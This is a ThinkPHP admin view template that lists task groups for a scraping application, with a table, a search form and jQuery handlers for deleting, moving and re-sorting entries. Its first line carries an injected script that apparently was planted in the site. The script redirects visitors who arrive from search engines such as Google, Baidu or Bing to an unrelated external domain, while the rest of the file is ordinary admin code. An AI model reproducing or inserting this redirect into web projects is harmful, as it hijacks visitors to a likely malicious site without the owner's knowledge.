d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\taskgroup\list.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><extend name="Common:main" />
002:
<block name="cssjs"> </block>
003:
<block name="content">
004:
<div class="box">
005:
<div class="box-body">
006:
007:
008:
<form id="form_list" method="post" ajax-submit="true" action="{:U('Taskgroup/op')}">
009:
<input type="hidden" name="op" value="saveall" />
010:
<table id="list_table" class="table table-bordered table-hover datatable">
011:
<thead>
012:
<tr>
013:
<th width="50" class="chk">{$Think.lang.select}</th>
014:
<th width="80">{$Think.lang.sort}</th>
015:
<th>{$Think.lang.taskgroup_name}</th>
016:
<th>{$Think.lang.op}</th>
017:
</tr>
018:
</thead>
019:
<tbody>
020:
<foreach name="parentList" item="pitem">
021:
<php>$num++;$itemList=is_array($subList[$pitem['id']])?array_merge(array($pitem),$subList[$pitem['id']]):array($pitem);</php>
022:
<foreach name="itemList" item="item">
023:
<tr class="bg{$num%2}">
024:
<td class="chk"><input type="checkbox" name="ids[]" value="{$item['id']}" /></td>
025:
<td class="sort"><input type="text" name="newsort[{$item['id']}]" class="form-control" value="{$item['sort']}" autocomplete="off" /></td>
026:
<td{$item['parent_id']?' class="sub"':''}>{$item['name']}</td>
027:
<td>
028:
<a href="{:U('Taskgroup/edit?id='.$item['id'])}" class="edit">{$Think.lang.edit}</a>
029:
030:
<a href="javascript:;" url="{:U('Taskgroup/op?op=delete&id='.$item['id'])}" class="delete">{$Think.lang.delete}</a>
031:
032:
<div class="dropdown">
033:
<a href="javascript:;" item-id="{$item['id']}" parent-id="{$item['parent_id']}" class="dropdown-toggle more" data-toggle="dropdown" aria-expanded="false">{$Think.lang.more}<span class="caret"></span></a>
034:
</div>
035:
</td>
036:
</tr>
037:
</foreach>
038:
</foreach>
039:
</tbody>
040:
<tfoot>
041:
<tr>
042:
<td class="chk"><input type="checkbox" id="chkall" onclick="checkall(this,'ids[]')" /></td>
043:
<td colspan="2">
044:
<button type="submit" class="btn btn-primary">{$Think.lang.save}</button>
045:
<button type="button" class="btn btn btn-danger" id="deleteall">{$Think.lang.delete}</button>
046:
<button type="button" class="btn btn btn-success" onclick="windowModal('{$Think.lang.tg_add_sub}','{:U('Taskgroup/add')}')">{$Think.lang.taskgroup_add}</button>
047:
</td>
048:
<td></td>
049:
</tr>
050:
</tfoot>
051:
</table>
052:
</form>
053:
{$pagenav}
054:
</div>
055:
<!-- /.box-body -->
056:
</div>
057:
<!-- /.box -->
058:
<div class="list-footer">
059:
<form id="form_search" method="post" action="{:U('Taskgroup/list')}" class="form-inline">
060:
<div class="form-group form-group-sm">
061:
<label>{$Think.lang.taskgroup_parent_id}</label>
062:
<select name="parent_id" class="form-control">
063:
<option value="0">{$Think.lang.all}</option>
064:
<foreach name="parentTgList" item="tgName" key="tgId">
065:
<option value="{$tgId}">{$tgName}</option>
066:
</foreach>
067:
</select>
068:
</div>
069:
<div class="form-group form-group-sm">
070:
<label>{$Think.lang.taskgroup_name}</label>
071:
<input type="text" name="name" class="form-control" value="{$search['name']}">
072:
</div>
073:
<button type="submit" class="btn btn-default btn-sm">{$Think.lang.search}</button>
074:
</form>
075:
</div>
076:
077:
<script type="text/javascript">
078:
$('#form_search select[name="parent_id"]').val("{$search['parent_id']}");
079:
080:
$(document).ready(function(){
081:
//单个删除
082:
$('#list_table .delete').bind('click',function(){
083:
var obj=$(this);
084:
confirmRight('{$Think.lang.confirm_delete}',function(){
085:
$.ajax({
086:
type: "GET",
087:
url: obj.attr('url'),
088:
dataType: "json",
089:
success: function(data){
090:
data.status==1?toastr.success(data.info):toastr.error(data.info);
091:
if(data.status==1){
092:
obj.parent().parent().remove();
093:
}
094:
}
095:
});
096:
});
097:
});
098:
099:
//更多操作
100:
$('#list_table .more').bind('click',function(){
101:
var dropdown=$(this).parent('.dropdown');
102:
var options='<ul class="dropdown-menu'+($(document.body).width()<=500?' dropdown-menu-right':'')+'">';
103:
var parent_id=parseInt($(this).attr('parent-id'));
104:
if(parent_id==0){
105:
//是父分组
106:
var addTgUrl='{:U("Taskgroup/add?parent_id=_parent_id_")}';
107:
addTgUrl=addTgUrl.replace('_parent_id_',$(this).attr('item-id'));//传€parent_id
108:
options+='<li><a href="javascript:;" onclick="windowModal(\'{$Think.lang.tg_add_sub}\',\''+addTgUrl+'\')">{$Think.lang.tg_add_sub}</a></li>';
109:
}
110:
111:
var moveTgUrl='{:U("Taskgroup/op?op=move&id=_id_")}';
112:
moveTgUrl=moveTgUrl.replace('_id_',$(this).attr('item-id'));
113:
114:
options+='<li><a href="javascript:;" onclick="windowModal(\'{$Think.lang.tg_move}\',\''+moveTgUrl+'\')">{$Think.lang.tg_move}</a></li></ul>';
115:
dropdown.find('.dropdown-menu').remove();
116:
dropdown.append(options);
117:
});
118:
119:
//sort改变值后选中
120:
$('input[name^="newsort"]').bind('change',function(){
121:
$(this).parent().parent().find('input[name="ids[]"]').attr('checked',true);
122:
});
123:
//删除选中
124:
$('#deleteall').bind('click',function(){
125:
var obj=$(this);
126:
confirmRight('{$Think.lang.confirm_delete}',function(){
127:
$.ajax({
128:
type: "POST",
129:
url: "{:U('Taskgroup/op?op=deleteall')}",
130:
dataType: "json",
131:
data: $('#form_list').serialize(),
132:
success: function(data){
133:
data.status==1?toastr.success(data.info):toastr.error(data.info);
134:
setTimeout("window.location.reload();",2500);
135:
}
136:
});
137:
});
138:
});
139:
});
140:
141:
</script>
142:
</block>
143:
144: